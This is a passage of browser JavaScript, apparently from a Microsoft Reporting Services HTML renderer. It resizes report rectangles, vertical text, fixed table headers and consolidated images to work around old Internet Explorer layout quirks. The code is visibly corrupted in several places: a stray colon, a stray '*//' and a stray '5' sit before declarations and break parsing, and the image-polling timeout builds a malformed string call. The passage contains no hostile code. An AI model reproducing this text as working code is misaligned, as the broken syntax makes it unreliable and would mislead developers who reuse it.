                    {
                        rowSpan = parseInt(rowSpan);
                        if (rowSpan > maxRowSpan)
                        {
                            maxRowSpan = rowSpan;
                        }
                    }
                }
            }
        }
    }
    return maxRowSpan;
}

function Microsoft_ReportingServices_HTMLRenderer_GrowRectangles(prefixId, reportDivID)
{
    // This function is used to grow rectangles to fit its contents which could potentially get clipped
    // (in IE quirks + IE7 standards mode) when growth (due to text-wrapping, etc...) occurs.
    if (Microsoft_ReportingServices_HTMLRenderer_IsIE())
    {
        var isStandardsMode = Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode();
        var isIE8OrLater = Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater();
        
        var growRectIdsTagId = "growRectangleIdsTag";
        if (prefixId)
        {
            growRectIdsTagId = prefixId + growRectIdsTagId;
        }
        
        var growRectIdsTag = document.getElementById(growRectIdsTagId);
        if (growRectIdsTag)
        {
            var idsString = growRectIdsTag.getAttribute("ids");
            if (idsString)
            {
                var ids = idsString.split(",");
                // Need to grow childNode rectangles in DOM before parentNode rectangles.
                for (var i = ids.length - 1; i >= 0; i--)
                {
                    var id = ids[i];
                    if ((id) && (id != ""))
                    {
                        var div = document.getElementById(id);
                        if (div)
                        {
                            if (!isStandardsMode)
                            {
                                // In IE quirks mode, if the contents of the rectangle outgrows the rectangle,
                                // no clipping occurs, and the clientWidth of the rectangle DIV is the same
                                // as its child contents, but no horizontal srollbars appear even though the contents
                                // overflow the screen. To get the scrollbar to appear as desired, set the style width
                                // of the rectangle DIV to be its client dimensions (esp. width) in pixels.
                                if (div.clientWidth > 0)
                                {
                                    div.style.width = div.clientWidth + "px";
                                }

                                if (div.clientHeight > 0)
                                {
                                    div.style.height = div.clientHeight + "px";
                                }
                            }

                            // In IE7 standards mode, a tablix (or any other report item)
                            // that outgrows its rectangular container will have its contents clipped.
                            // In IE8 standards mode, a rectangle with its contents (i.e. image) outgrowing it will not
                            // grow to fit its contents. Instead, the image will grow and appear outside of the rectangle
                            // boundaries, within the DOM. However, the page will look okay.

                            var childNode = div.firstChild;

                            // If the child is also a rectangle, look for the first non-rectangular child.
                            while ((childNode != null) && (childNode.tagName == "DIV") && (childNode.getAttribute("growRect")))
                            {
                                childNode = childNode.firstChild;
                            }

                            if (childNode != null)
                            {
                                if (childNode.clientWidth > div.clientWidth)
                                {
                                    div.style.width = childNode.clientWidth + "px";
                                }

                                if (childNode.clientHeight > div.clientHeight)
                                {
                                    div.style.height = childNode.clientHeight + "px";
                                }
                            }
                        }
                    }
                }
            }            
        }       
    }
}

function Microsoft_ReportingServices_HTMLRenderer_FitVertText(prefixId, reportDivID)
{
    var fitVertTextIdsTagId = "fitVertTextIdsTag";
    if (prefixId)
    {
        fitVertTextIdsTagId = prefixId + fitVertTextIdsTagId;
    }
    
    var fitVertTextIdsTag = document.getElementById(fitVertTextIdsTagId);
    if (fitVertTextIdsTag)
    {
        var idsString = fitVertTextIdsTag.getAttribute("ids");
        if (idsString)
        {
            var ids = idsString.split(",");
            for (var i = 0; i < ids.length; i++)
            {
                var id = ids[i];
                if ((id) && (id != ""))
                {
                    var div = document.getElementById(id);
                    if (div)
                    {
                        if (div.clientWidth < div.firstChild.clientWidth)
                        {
                            div.style.width = div.firstChild.clientWidth + "px";
                        }

                        if (div.clientHeight < div.firstChild.clientHeight)
                        {
                            div.style.height = div.firstChild.clientHeight + "px";
                        }

                        if (div.clientWidth > div.parentNode.clientWidth)
                        {
                            // If a lot of breaking vertical characters causes vertical text
                            // the vertical textbox inside of tablix to render outside its tablix
                            // cell, set the textbox's client dimensions to the tablix cell dimensions
                            // and change display to block.
                            div.style.width = div.parentNode.clientWidth + "px";
                            div.style.height = div.parentNode.clientHeight + "px";
                            div.style.display = "block";
                        }
                    }
                }
            }
        }
    }
}
:Microsoft_ReportingServices_HTMLRenderer_FixedHeader = function(ReportDivId, ReportCellId, ContainerId, IDPrefix)
{
    this.ReportCellId = ReportCellId;
    this.ReportDivId = ReportDivId;
    this.ContainerId = ContainerId;
    if (!IDPrefix)
        IDPrefix = "";
    this.IDPrefix = IDPrefix;
}
Microsoft_ReportingServices_HTMLRenderer_FixedHeader.prototype =
{
    CreateFixedRowHeader: function(arr, id)
    {
        var tableID = arr[0];
        if (document.getElementById(this.IDPrefix + id))
            return;
        var tNode = document.getElementById(this.IDPrefix + tableID);
        if (tNode == null)
            return;
        tNode = tNode.cloneNode(false);
        tNode.removeAttribute('id');
        var tBodyNode = document.createElement("TBODY");
        var currentRow = document.getElementById(this.IDPrefix + arr[1]);
        currentRow = currentRow.cloneNode(false);
        currentRow.removeAttribute('id');
        for (var x = 2; x < arr.length; x++)
        {
            var nextElement = document.getElementById(this.IDPrefix + arr[x]);
            if (nextElement.tagName.toUpperCase() == "TR")
            {
                nextElement = nextElement.cloneNode(false);
                nextElement.removeAttribute('id');
                tBodyNode.appendChild(currentRow);
                currentRow = nextElement;
            } else
            {
                nextElement = nextElement.cloneNode(true);
                nextElement.removeAttribute('id');
                currentRow.appendChild(nextElement);
            }
        }
        tBodyNode.appendChild(currentRow);
        tNode.appendChild(tBodyNode);
        var parentDiv = document.createElement("DIV");
        parentDiv.style.display = 'none';
        parentDiv.style.position = 'absolute';
        parentDiv.style.top = "0px";
        parentDiv.style.left = "0px";
        parentDiv.id = this.IDPrefix + id;
        parentDiv.appendChild(tNode);
        var reportDiv = document.getElementById(this.ReportCellId);
        reportDiv.appendChild(parentDiv);
        return parentDiv;
    },
    CreateFixedColumnHeader: function(arr, id)
    {
        var tableID = arr[0];
        if (document.getElementById(this.IDPrefix + id))
            return;
        var tNode = document.getElementById(this.IDPrefix + tableID);
        if (tNode == null)
            return;
        var tNodeOrigWidth = 0;
        if ((tNode.tagName == "TABLE") &&
            Microsoft_ReportingServices_HTMLRenderer_IsIE() &&
            !Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode())
        {
            // If we're in IE Quirks mode, save the original column width which enforces a particular text wrapping
            // behavior.
            // tNode is a TABLE tag, so its first contained TD is the firstChild (TD) of its firstChild (TR) of its firstChild (TBODY).        
            var tNodeTDStyleWidth = tNode.firstChild.firstChild.firstChild.style.width;
            tNodeOrigWidth = Math.round(Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(tNodeTDStyleWidth));
        }
        tNode = tNode.cloneNode(false);
        tNode.removeAttribute('id');
        var tBodyNode = document.createElement("TBODY");
        for (var x = 1; x < arr.length; x++)
        {
            var nextElement = document.getElementById(this.IDPrefix + arr[x]);
            nextElement = nextElement.cloneNode(true);
            nextElement.removeAttribute('id');
            tBodyNode.appendChild(nextElement);
        }
        tNode.appendChild(tBodyNode);
        var parentDiv = document.createElement("DIV");
        parentDiv.style.display = 'none';
        parentDiv.style.position = 'absolute';
        parentDiv.style.top = "0px";
        parentDiv.style.left = "0px";
        parentDiv.id = this.IDPrefix + id;
        parentDiv.appendChild(tNode);
        if (tNodeOrigWidth > 0)
        {
            // Set the new cloned fixed header node's style width to the width which
            // corresponds to the text-wrapping behavior for the column header before scrolling.        
            parentDiv.style.width = tNodeOrigWidth + "px";
            tNode.style.width = tNodeOrigWidth + "px";
        }
        var reportDiv = document.getElementById(this.ReportCellId);
        reportDiv.appendChild(parentDiv);
        return parentDiv;
    },
    ShowFixedTablixHeaders: function(m, fnh, rg, cg, ch, c1, c2, tr)
    {
        var om = document.getElementById(this.IDPrefix + m);
        var ofnh = document.getElementById(this.IDPrefix + fnh);
        var org = document.getElementById(this.IDPrefix + rg);
        var ocg = document.getElementById(this.IDPrefix + cg);
        var och = document.getElementById(this.IDPrefix + ch);
        var oc1 = document.getElementById(this.IDPrefix + c1);
        var oc2 = document.getElementById(this.IDPrefix + c2);
        var otr = document.getElementById(this.IDPrefix + tr);
        var rptDiv = document.getElementById(this.ReportDivId);
        var isIE8StandardsOrLater = Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater() && Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode();
        var isIEQuirksMode = Microsoft_ReportingServices_HTMLRenderer_IsIE() && !Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode();

        //Calculate the visual scroll offset
        var offsetParent = rptDiv;
        var scT = 0;
        var scL = 0;
        var dscT = 0;
        var clHeight = 0;
        var clWidth = 0;

        var parentWithAuto = rptDiv;
        while (parentWithAuto && parentWithAuto.style && 'auto' != parentWithAuto.style.overflow)
        {
            parentWithAuto = parentWithAuto.parentNode;
        }

        if (!parentWithAuto || !parentWithAuto.style)
        {
            scT = document.body.scrollTop;
            scL = document.body.scrollLeft;
            var htmlElement = document.body.parentNode;
            if (htmlElement && scL == 0 && scT == 0 && (htmlElement.scrollTop != 0 || htmlElement.scrollLeft != 0))
            {
                scT = htmlElement.scrollTop;
                scL = htmlElement.scrollLeft;
            }
        }
        else
        {
            offsetParent = parentWithAuto;
            scT = offsetParent.scrollTop;
            scL = offsetParent.scrollLeft;
            clHeight = offsetParent.clientHeight;
            clWidth = offsetParent.clientWidth;
        }

        //Calculate the offset of the item with the fixedheader relative to the scrollable area
        var offL = 0;
        var offT = 0;

        var o = om;
        while (o && o.id != rptDiv.id)
        {
            if (o.offsetLeft > 0) //Ignore RTL bits
                offL += o.offsetLeft;

            if (o.offsetTop > 0)
            {
                // IE8 standards mode - offsetTop can be negative when column fixedHeaders are moved vertically down.
                offT += o.offsetTop;
            }
            var oOffsetParent = o.offsetParent;
            //Walk the parents looking for either the ReportDivId or the offsetParent
            while (o != oOffsetParent && o.id != rptDiv.id)
            {
                o = o.parentNode;
            }
        }
        if (!o)
            o = document.getElementById(this.ContainerId);
        var rptCell = document.getElementById(this.ReportCellId);

        //Factor in Zoom
        var zt = rptCell.style.zoom;
        if (zt && zt.substring(zt.length - 1) == '%')
        {
            zm = zt.substring(0, zt.length - 1) / 100;
        }
        else
        {
            zm = zt;
        }

        if (!zm || zm == 0) zm = 1;

        var fixedHeaderScaleFactor = zm;

        if (!isIE8StandardsOrLater)
        {
            offL *= zm;
            offT *= zm;
            fixedHeaderScaleFactor = 1;
        }

        //Hide any of the FixedHeader regions that shouldn't be visible
        if (ocg != null) ocg.style.display = 'none';
        if (org != null) org.style.display = 'none';
        if (och != null) och.style.display = 'none';
        var zomoh = om.offsetHeight * zm;
        if (om.offsetHeight == 0)
            zomoh = document.body.offsetHeight * zm;

        var zomow = om.offsetWidth * zm;
        if (om.offsetWidth == 0)
            zomow = document.body.offsetWidth * zm;

        var zofnhot = Math.round(ofnh.offsetTop / fixedHeaderScaleFactor) * zm;

        var zocow = 0;
        if (oc1 && oc2)
        {
            zocow = ((Math.round(oc2.offsetLeft / fixedHeaderScaleFactor) + oc2.offsetWidth) - Math.round(oc1.offsetLeft / fixedHeaderScaleFactor)) * zm;
        }
        // clHeight, clWidth are not scaled in IE8 standards mode, even though offT,scT,offL,scL are.
        if ((scT >= (offT + zomoh - zofnhot)) || (scT + clHeight * fixedHeaderScaleFactor <= offT))
        {
            ocg = null;
        }
        if ((scL + clWidth * fixedHeaderScaleFactor - zocow <= offL) || (scL >= offL + zomow - zocow))
        {
            org = null;
        }

        //If none are visible, return
        if (!ocg && !org)
        {
            return;
        }

        //Update all the sizes
        if (org != null)
        {
            var rows = om.childNodes[0].childNodes;
            var fhrows = org.childNodes[0].childNodes[0].childNodes;
            var notIE7 = !Microsoft_ReportingServices_HTMLRenderer_IsIE() || Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater();

            var i, j;
            for (i = fhrows.length - 1, j = rows.length - 1; i > 0; i--, j--)
            {
                var rowHeight = rows[j].childNodes[0].offsetHeight;
                if (rows[j].getBoundingClientRect)
                {
                    var rowBoundingRect = rows[j].getBoundingClientRect();
                    var boundingHeight = rowBoundingRect.bottom - rowBoundingRect.top;

                    // Get the max rowspan of all <td> childNodes of this <tr> node.
                    var maxTDRowSpan = Microsoft_ReportingServices_HTMLRenderer_GetMaxChildRowSpan(rows[j]);
                    if (maxTDRowSpan > 1)
                    {
                        if (j + 1 < rows.length)
                        {
                            var nextRowBoundingRect = rows[j + 1].getBoundingClientRect();
                            // Use the bottom row's top and subtract it from this row's top
                            // to get the appropriate height of this row.
                            boundingHeight = nextRowBoundingRect.top - rowBoundingRect.top;
                        }
                    }

                    // The bouding rectangle increases proportionally to zoom.
                    boundingHeight = boundingHeight / zm;

                    if (boundingHeight > rowHeight)
                        rowHeight = boundingHeight;
                }

                if (notIE7 && !rows[j].getAttribute("height")) //Do not write in IE6 or 7
                {
                    rows[j].setAttribute("height", rowHeight);
                }

                fhrows[i].childNodes[0].style.height = rowHeight + "px";
            }
        }
        if (och != null)
        {
            var rows = om.childNodes[0].childNodes;
            var fhrows = och.childNodes[0].childNodes[0].childNodes;
            for (i = 0; i < fhrows.length; i++) fhrows[i].childNodes[0].style.height = rows[i].childNodes[0].offsetHeight + "px";
        }
        if (ocg != null)
        {
            var cols = om.childNodes[0].childNodes[0];
            var omFirstChildWidth = om.childNodes[0].clientWidth;
            // In IE quirks mode, when creating the column fixed header,
            // the style width is explicitly set on that fixed header. Don't
            // overwrite the style width if the overwriting value is 0.
            if (omFirstChildWidth > 0 || !isIEQuirksMode)
            {
                ocg.childNodes[0].style.width = omFirstChildWidth + "px";
            }
            for (i = 0; i < cols.childNodes.length; i++)
            {
                var colsChildWidth = cols.childNodes[i].offsetWidth;
                if (colsChildWidth > 0 || !isIEQuirksMode)
                {
                    ocg.childNodes[0].childNodes[0].childNodes[0].childNodes[i].style.width = colsChildWidth + "px";
                }
            }
        }

        //Position the FixedHeaders
        if (ocg != null)
        {
            ocg.style.zoom = zt;
            ocg.style.left = Math.round(offL / fixedHeaderScaleFactor) + "px";
            var zdbch = document.body.clientHeight;

            if (!((offT > scT) && ((scT + zdbch) > offT)))
            {
                ocg.style.display = '';
                var topOffset = scT;
                ocg.style.top = Math.round(topOffset / fixedHeaderScaleFactor) + "px";
            }
        }
        var zocol = 0;
        if (oc1)
        {
            zocol = oc1.offsetLeft * zm;
        }
        if (org != null)
        {
            org.style.zoom = zt;
            zoccw = ((Math.round(oc2.offsetLeft / fixedHeaderScaleFactor) + oc2.offsetWidth) * zm) - Math.max(scL, Math.round(oc1.offsetLeft / fixedHeaderScaleFactor) * zm);
            zoccw = Math.max(0, zoccw);
            var zomol = Math.round(om.offsetLeft / fixedHeaderScaleFactor) * zm;
            if ((scL > (zocol + offL)) && (scL < offL + zomow - zocow))
            {
                org.style.display = '';
                var topOffset = offT - dscT;
                var leftOffset = scL;
                org.style.top = Math.round(topOffset / fixedHeaderScaleFactor) + "px";
                org.style.left = Math.round(leftOffset / fixedHeaderScaleFactor) + "px";
                org.style.width = zoccw + "px";
            }
            else if (((scL + rptDiv.clientWidth) < (zocol + zocow + offL)) && (scL + rptDiv.clientWidth - zoccw > offL + zomol))
            {
                org.style.display = '';
                org.style.top = Math.round((offT - dscT) / fixedHeaderScaleFactor) + "px";
                org.style.left = Math.round((scL + rptDiv.clientWidth - zoccw) / fixedHeaderScaleFactor) + "px";
                org.style.width = zoccw + "px";
            }
        }
        if (och != null && org && ocg && org.style.display == '' && ocg.style.display == '')
        {
            och.style.zoom = zt;
            och.style.display = '';
            och.style.top = ocg.style.top;
            och.style.left = org.style.left;
            och.style.width = org.style.width;
        }
    }
}
*//FitProportional
Microsoft_ReportingServices_HTMLRenderer_FitProportional = function()
{
}
Microsoft_ReportingServices_HTMLRenderer_FitProportional.prototype =
{
    ResizeImage: function(o, reportDivId, reportCellId)
    {

        if (!o) return; var op = o.parentNode; if (!op) return;
        var width = o.width;
        var height = o.height;
        var target = o;
        var parentDiv = op;
        var isIE7OrLess = false;
        if (op.tagName == 'A') //If the parent is an A-tag, get the div containing
        {
            op = op.parentNode;
            parentDiv = op;
        }

        var stdMode = Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode();
        var isIE7OrLess = false;
        if (stdMode)
        {
            if (Microsoft_ReportingServices_HTMLRenderer_IsIE() &&
            !Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater())
            {
                isIE7OrLess = true;
            }
        }

        if (stdMode && Microsoft_ReportingServices_HTMLRenderer_IsIE())
        {
            if (parentDiv.getAttribute("alreadyResized") == null)
            {
                if (parentDiv.currentStyle.minWidth)
                {
                    if (parentDiv.clientWidth > Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(parentDiv.currentStyle.minWidth) + 1)
                    {
                        var adjustedMinWidth = Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalBordersPaddings(parentDiv);
                        parentDiv.style.minWidth = adjustedMinWidth;

                    }
                }

                if (isIE7OrLess)
                {
                    if (parentDiv.currentStyle.width)
                    {
                        if (parentDiv.clientWidth > Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(parentDiv.currentStyle.width) + 1)
                        {
                            var adjustedWidth = Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalBordersPaddings(parentDiv);
                            parentDiv.style.width = adjustedWidth;

                        }
                    }

                    if (parentDiv.currentStyle.height)
                    {
                        if (parentDiv.clientHeight > Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(parentDiv.currentStyle.height) + 1)
                        {
                            var adjustedHeight = Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalBordersPaddings(parentDiv);
                            parentDiv.style.height = adjustedHeight;

                        }
                    }
                }
                parentDiv.setAttribute("alreadyResized", "true");
            }
        }

        var scaleOffset = 1; //Matching previous behavior
        var useConsolidation = false;
        var repositionTopLeft = false;
        var zoom = 1;
        var resizeWithZoom = false;
        if (op.tagName == 'DIV' && op.getAttribute("imgConFitProp")) //ImageConsolidation, FitProportional
        {
            target = op;

            height = parseInt(op.style.height);
            width = parseInt(op.style.width);

            op = op.parentNode;

            scaleOffset = 0;
            useConsolidation = true;

            if (stdMode &&
                Microsoft_ReportingServices_HTMLRenderer_IsIE() &&
                isIE7OrLess)
            {
                if (target.style.position != "absolute")
                {
                    target.style.position = "absolute";
                }

                zoom = Microsoft_ReportingServices_HTMLRenderer_CalculateZoom(reportCellId);

                if (op.getAttribute("origHeight"))
                    height = op.getAttribute("origHeight");
                else
                    op.setAttribute("origHeight", height);

                if (op.getAttribute("origWidth"))
                    width = op.getAttribute("origWidth");
                else
                    op.setAttribute("origWidth", width);

                resizeWithZoom = true;
            }
        }

        if ((o.width != 0) && (o.height != 0) && op)
        {
            var oHeight = o.height;
            var oWidth = o.width;

            if (o.naturalHeight) //Always use the actual image sizing information, if available
            {
                oHeight = o.naturalHeight;
                oWidth = o.naturalWidth;
                if (!useConsolidation)
                {
                    height = oHeight;
                    width = oWidth;
                }
            }
            else if (o.width == 1 && o.height == 1 && !useConsolidation)
            {
                //Calculate the base image size by creating another and retrieving the sizing
                //Not Supported in IE6
                var tmpImage = new Image();
                tmpImage.src = o.src;
                oHeight = tmpImage.height;
                oWidth = tmpImage.width;
                height = oHeight;
                width = oWidth;
            }

            if (resizeWithZoom)
            {
                if (o.getAttribute("origHeight"))
                    oHeight = o.getAttribute("origHeight");
                else
                    o.setAttribute("origHeight", oHeight);

                if (o.getAttribute("origWidth"))
                    oWidth = o.getAttribute("origWidth");
                else
                    o.setAttribute("origWidth", oWidth);
            }

            var opHeight = op.clientHeight;
            var opWidth = op.clientWidth;
            //If parent size is larger than the item containing the FitProportional Image, use the larger size
            if (o.clientHeight == op.clientHeight && op.parentNode && op.parentNode.clientHeight >= o.clientHeight)
            {
                opHeight = op.parentNode.clientHeight;
                if (op.parentNode.nodeName == 'TD' && op.parentNode.parentNode.clientHeight > opHeight)
                    opHeight = op.parentNode.parentNode.clientHeight;
                opWidth = op.parentNode.clientWidth;
            }
            var dy = (opHeight + scaleOffset - o.pv) / height;
            var dx = (opWidth + scaleOffset - o.ph) / width;
            var dz = Math.min(dx, dy);
            var targetHeight = oHeight * dz * zoom;
            var targetWidth = oWidth * dz * zoom;
            if (useConsolidation)
            {
                if (targetHeight > 0)
                    o.height = targetHeight;

                if (width && targetWidth > 0)
                    o.width = targetWidth;

                if (height > 0 && dz > 0)
                    parentDiv.style.height = (height * dz * zoom) + "px";

                if (width > 0 && dz > 0)
                    parentDiv.style.width = (width * dz * zoom) + "px";

                //Offset based on the original value
                var origLeft = parseInt(o.style.left);
                var origTop = parseInt(o.style.top);

                var parentTop = 0;
                var parentLeft = 0;

                if (resizeWithZoom)
                {
                    //IE7 cannot use the relative coordinates, so the parentDiv is positioned
                    var reportDiv = document.getElementById(reportDivId);
                    var offsets = Microsoft_ReportingServices_HTMLRenderer_CalculateOffset(reportDiv, op);
                    parentLeft = offsets.left;
                    parentTop = offsets.top;

                    if (o.getAttribute("origTop"))
                        origTop = parseInt(o.getAttribute("origTop"))
                    else
                        o.setAttribute("origTop", parseInt(o.style.top));
                    if (o.getAttribute("origLeft"))
                        origLeft = parseInt(o.getAttribute("origLeft"));
                    else
                        o.setAttribute("origLeft", parseInt(o.style.left));

                    o.style.top = (origTop * zoom) + "px";
                    o.style.left = (origLeft * zoom) + "px";
                }

                if (!isIE7OrLess)
                {
                    // Absolute positioning in IE8 standards mode/firefox puts items not relative to
                    // their container. Need to set parentDiv position style back to relative.
                    parentDiv.style.position = "relative";
                }

                var oCurrentLeft = parseInt(o.style.left);
                var oCurrentTop = parseInt(o.style.top);
                if (oCurrentLeft != null)
                {
                    o.style.left = parseInt(oCurrentLeft * dz) + "px";
                }
                if (oCurrentTop != null)
                {
                    o.style.top = parseInt(oCurrentTop * dz) + "px";
                }
                parentDiv.style.left = (parentLeft * zoom) + "px";
                parentDiv.style.top = (parentTop * zoom) + "px";
            }
            else
            {
                //Use the calculated size if it doesn't cause the parent to grow
                if (targetHeight > opHeight)
                    targetHeight = opHeight;
                if (targetWidth > opWidth)
                    targetWidth = opWidth;

                o.height = targetHeight;
                if (width) o.width = targetWidth;
            }
        }
    },
    ResizeImages: function(reportDivId, reportCellId)
    {
        var reportDiv = document.getElementById(reportDivId);
        if (reportDiv)
        {
            var images = reportDiv.getElementsByTagName("IMG");
            for (var i = 0; i < images.length; i++)
            {
                var o = images[i];
                if (o.fitproportional && o.complete && !o.errored)
                    this.ResizeImage(o, reportDivId, reportCellId);
            }
        }
    },
    PollResizeImages: function(reportDivId, reportCellId)
    {
        var reportDiv = document.getElementById(reportDivId);
        if (reportDiv)
        {
            var images = reportDiv.getElementsByTagName("IMG");
            for (var i = 0; i < images.length; i++)
            {
                var o = images[i];
                if (!o.complete && !o.errored)
                {
                    setTimeout('this.PollResizeImages(' + escape(reportDivId) + ',' + escape(reportDivId) + ')', 250);
                    return;
                }
            }
            this.ResizeImages(reportDivId);
        }
    }
}
5function Microsoft_ReportingServices_HTMLRenderer_ScaleImageConsolidation(prefixId, topElementId, reportCellId)
{
    var topElement = document;
    if (topElementId)
    {
        topElement = document.getElementById(topElementId);
        if (!topElement)
            topElement = document;
    }

    var stdMode = Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode();
    var isIE = Microsoft_ReportingServices_HTMLRenderer_IsIE();
    var isIE7OrLess = !Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater();

    var imgConImageIdsTagId = "imgConImageIdsTag";
    if (prefixId)
    {
        imgConImageIdsTagId = prefixId + imgConImageIdsTagId;
    }

    var imgConImageIdsTag = document.getElementById(imgConImageIdsTagId);
    if (imgConImageIdsTag)
    {
        var idsString = imgConImageIdsTag.getAttribute("ids");
        if (idsString)
        {
            var ids = idsString.split(",");
            for (var i = 0; i < ids.length; i++)
            {
                var id = ids[i];
                if ((id) && (id != ""))
                {
                    var div = document.getElementById(id);
                    if (div)
                    {
                        //All Consolidated Images requiring scaling will have the "imgConImage" attribute
                        var imgType = div.getAttribute("imgConImage");
                        if (!imgType)
                        {
                            continue;
                        }

                        var divWidth = div.parentNode.clientWidth;
                        var divHeight = div.parentNode.clientHeight;

                        if (stdMode)
                        {
                            if (divWidth == 0 && div.getAttribute("origWidth"))
                            {
                                divWidth = div.getAttribute("origWidth");
                            }
                            else
                            {
                                divWidth = divWidth + "px";
                            }

                            if (divHeight == 0 && div.getAttribute("origHeight"))
                            {
                                divHeight = div.getAttribute("origHeight");
                            }
                            else
                            {
                                divHeight = divHeight + "px";
                            }
                        }

                        //If standards mode, set position:relative on the outer div.
                        if (isIE)
                        {
                            if (stdMode)
                            {
                                div.style.position = "relative";
                                if (isIE7OrLess)
                                {
                                    var offsets = Microsoft_ReportingServices_HTMLRenderer_CalculateOffset(topElement, div.parentNode);
                                    div.setAttribute("origLeft", offsets.left);
                                    div.setAttribute("origTop", offsets.top);
                                }
                            }
                            //No relative for quirks mode
                        }
                        else
                        {
                            div.style.position = "relative";
                        }

                        if (imgType == "Fit")
                        {
                            var height = parseFloat(divHeight);
                            var width = parseFloat(divWidth);

                            height = Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalPaddings(div.parentNode, height);
                            if (height < 0)
                            {
                                height = 1;
                            }
                            width = Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalPaddings(div.parentNode, width);
                            if (width < 0)
                            {
                                width = 1;
                            }


                            var imgsInDiv = div.getElementsByTagName("IMG");
                            if (imgsInDiv.length == 0)
                                continue;
                            var img = imgsInDiv[0];

                            // div for image started out as 1px by 1px (to prevent effects of growth due to large paddings.
                            // Set the div height and width back to original imageConsolidation sizes (from attributes "imgConWidth" and
                            // "imgConHeight").
                            div.style.width = div.getAttribute("imgConWidth") + "px";
                            div.style.height = div.getAttribute("imgConHeight") + "px";
                            div.removeAttribute("imgConWidth");
                            div.removeAttribute("imgConHeight");

                            //Calculate the scaling factor
                            var xScale = width / parseInt(div.style.width);
                            var yScale = height / parseInt(div.style.height);
                            var endWidth = xScale * parseInt(img.width);
                            var endHeight = yScale * parseInt(img.height);
                            //Scale the Consolidated Image
                            img.width = endWidth;
                            img.height = endHeight;
                            div.style.width = width + "px";
                            div.style.height = height + "px";

                            //Scale the Offsets within the Image
                            var topOffset = (parseInt(img.style.top) * yScale);
                            var leftOffset = (parseInt(img.style.left) * xScale);
                            img.style.top = topOffset + "px";
                            img.style.left = leftOffset + "px";
                        }
                        else if (imgType == "Clip")
                        {
                            div.style.height = divHeight;
                            div.style.width = divWidth;
                        }
                    }
                }
            }
        }
    }
}

function Microsoft_ReportingServices_HTMLRenderer_ScaleImageUpdateZoom(prefixId, topElementId, reportCellId)
{
    //Only for IE6/7 in standards mode
    if (Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode())
    {
        if (!Microsoft_ReportingServices_HTMLRenderer_IsIE()
      || Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater())
            return;
    }
    else
    {
        return;
    }

    var zoom = Microsoft_ReportingServices_HTMLRenderer_CalculateZoom(reportCellId);
    var topElement = document;
    if (topElementId)
    {
        topElement = document.getElementById(topElementId);
        if (!topElement)
            topElement = document;
    }
    var reportDiv = topElement;

    var imgConImageIdsTagId = "imgConImageIdsTag";
    if (prefixId)
    {
        imgConImageIdsTagId = prefixId + imgConImageIdsTagId;
    }

    var imgConImageIdsTag = document.getElementById(imgConImageIdsTag);
    if (imgConImageIdsTag)
    {
        var idsString = imgConImageIdsTag.getAttribute("ids");
        if (idsString)
        {
            var ids = idsString.split(",");
            for (var i = 0; i < ids.length; i++)
            {
                var id = ids[i];
                if ((id) && (id != ""))
                {
                    var div = document.getElementById(id);
                    if (div)
                    {
                        var imgType = div.getAttribute("imgConImage");
                        if (imgType == "Fit" || imgType == "AutoSize" || imgType == "Clip")
                        {
                            if (zoom != 1)
                            {
                                if (div.style.position == "relative")
                                {
                                    div.style.position = "absolute";
                                }

                                var offsets = Microsoft_ReportingServices_HTMLRenderer_CalculateOffset(reportDiv, div.parentNode);

                                div.style.left = (offsets.left * zoom) + "px";
                                div.style.top = (offsets.top * zoom) + "px";
                                div.style.zoom = zoom;
                            }
                            else
                            {
                                if (div.style.position == "absolute")
                                {
                                    div.style.position = "relative";
                                }

                                div.style.left = "auto";
                                div.style.top = "auto";
                                div.style.zoom = "normal";
                            }
                        }
                    }
                }
            }
        }
    }
}

function CalculateDocumentOffset(element)
{
    /// <summary>
    /// Returns the offset in pixesl of the given element from the body
    /// </summary>
    if (!element || !element.ownerDocument)
    {
        throw Error.argumentNull("element");
    }

    var box = element.getBoundingClientRect();
    var doc = element.ownerDocument;
    var body = doc.body;
    var docElem = doc.documentElement;

    // docElem.clientTop = non IE, body.clientTop = IE
    var clientTop = docElem.clientTop || body.clientTop || 0;
    var clientLeft = docElem.clientLeft || body.clientLeft || 0;

    // pageX/YOffset = FF, Safari docElem.scrollTop/Left = IE standards body.scrollTop/Left = IE quirks
    var top = box.top + (self.pageYOffset || docElem.scrollTop || body.scrollTop || 0) - clientTop;
    var left = box.left + (self.pageXOffset || docElem.scrollLeft || body.scrollLeft || 0) - clientLeft;

    return { top: top, left: left };
}

function Microsoft_ReportingServices_HTMLRenderer_ScaleImageForFit(prefixId, topElementId)
{
    var topElement = document;
    if (topElementId)
    {
        topElement = document.getElementById(topElementId);
        if(!topElement)
          topElement = document;
    }

    var imgFitDivIdTagsId = "imgFitDivIdsTag";
    if (prefixId)
    {
        imgFitDivIdTagsId = prefixId + imgFitDivIdTagsId;
    }

    // Need to separate loops for setting width and height (which were consolidated before).
    // IE7 standards mode sometimes does not respect first <td> element's height on a <tr> element,
    // until javascript execution causes re-rendering of page. Executing the width loop first
    // will trigger re-rendering of page, after which the loop to set the heights will have the correct
    // heights from the images.
    var imgFitDivIdsTag = document.getElementById(imgFitDivIdTagsId);
    if (imgFitDivIdsTag)
    {
        var idsString = imgFitDivIdsTag.getAttribute("ids");
        if (idsString)
        {
            var ids = idsString.split(",");
            for (var i = 0; i < ids.length; i++)
            {
                var id = ids[i];
                if ((id) && (id != ""))
                {
                    var div = document.getElementById(id);
                    if (div)
                    {
                        var imgsInDiv = div.getElementsByTagName("IMG");
                        if (imgsInDiv.length == 0)
